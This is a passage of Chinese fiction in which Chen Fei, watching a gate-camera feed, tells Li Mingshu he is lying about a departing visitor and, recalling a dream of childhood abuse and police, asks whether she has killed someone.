陆城离开后,李明书重新回到了庄园后面的花园,那是单独的别墅,里面只住着陈非和他两个人。 他过来的时候,陈非正在看墙上的显示屏,显示屏连接了大门外的摄像头,此时上面显示的画面就是已经走远的人影。 正是刚刚离开的陆城。 “他是谁?”陈非问。 李明书说:“一个朋友。” “不对。”陈非摇了摇头,“你在撒谎。” 因为她见过这个人,在梦里。 他是警察。 李明书没有说话,沉默地看着她,他很擅长观察陈非的一举一动,小时候她的心思都露在外面,现在,她的心思藏得很深。 他几乎没办法立刻分辨出她在想些什么。 在这短暂的沉默里,陈非一遍又一遍在脑海里确认,梦里看到的一切究竟是真的,还是她的臆想。 梦里那个看不清脸的男人,那个对幼年时的自己拳打脚踢的男人,还有那个男人惨死的模样和无数围上来的警察,其中一个就是刚才她在显示屏上看到的男人,他在她的梦里穿着警服,手里拿着枪,枪口就对准了她的眉心。 想到最后,她得出了一个结论,随即抬头看向李明书,淡淡道:“我是不是……杀人了?”